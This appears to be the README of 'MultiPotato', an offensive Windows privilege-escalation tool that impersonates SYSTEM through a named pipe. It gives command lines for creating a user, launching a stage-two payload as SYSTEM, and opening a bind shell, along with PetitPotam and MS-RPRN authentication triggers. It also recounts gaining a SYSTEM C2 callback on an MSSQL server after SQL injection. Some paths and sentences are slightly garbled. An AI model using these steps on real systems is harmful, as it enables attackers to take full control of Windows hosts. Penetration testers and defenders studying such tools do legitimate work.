This is just another Potato to get SYSTEM via SeImpersonate privileges. But this one is different in terms of
- It doesn’t contain any SYSTEM auth trigger for weaponization. Instead the code can be used to integrate your favorite trigger by yourself.
- It’s not only using
CreateProcessWithTokenWto spawn a new process. Instead you can choose between
So this project is able to open up a NamedPipe Server, impersonates any user connecting to it and afterwards does one of the options mentioned above. If any new SYSTEM auth triggers are published in the future this tool can still be used to elevate privileges – you just need to use another Pipe-Name in this case.
- CreateUser with modified PetitPotam trigger:
c:tempMultiPotato> MultiPotato.exe -t CreateUser
You have by default value 60 secconds (changable via THEAD_TIMEOUT) to let the SYSTEM account or any other account authenticate. This can be done for example via an unpatched MS-EFSRPC function. By default MultiPotato listens on the pipename
\.pipepwned/pipe/srvsvc which is meant to be used in combination with MS-EFSRPC. For other SYSTEM auth triggers you can adjust this value via the
c:tempMultiPotato> PetitPotamModified.exe localhost/pipe/pwned localhost
PetitPotam.py as trigger from a remote system with a valid low privileged user is of course also possible.
- CreateProcessAsUserW with SpoolSample trigger:
c:tempMultiPotato> MultiPotato.exe -t CreateProcessAsUserW -p "pwnedpipespoolss" -e "C:tempstage2.exe"
And trigger it via
c:tempMultiPotato>MS-RPRN.exe \192.168.100.150 \192.168.100.150/pipe/pwned
Important: In my testings for MS-RPRN I could not use localhost or 127.0.0.1 as target, this has to be the network IP-Adress or FQDN. In addition the Printer Service needs to be enabled for this to work.
- BindShell with SpoolSample PipeName
c:tempMultiPotato> MultiPotato.exe -t BindShell -p "pwnedpipespoolss"
I recently had a penetrationtest, where I was able to pwn a MSSQL Server via SQL-Injection and XP_CMDShell. But all public Potatoes failed on this target system to elevate privileges from service-account to SYSTEM. The System auth trigger was not the problem – instead
CreateProcessWithTokenW failed all the time with NTSTATUS Code 5 – access forbidden. This didn’t really makes sense for me and may be an edge case. One reason for that
could be the local endpoint protection which may have blocked the process creation after impersonating SYSTEM.
Therefore I searched for alternatives – and asked some people on Twitter about it. Again Credit to @splinter_code for explaining me how to do it via
CreateProcessAsUserW which worked fine on the pwned MSSQL server to get a SYSTEM C2-Callback.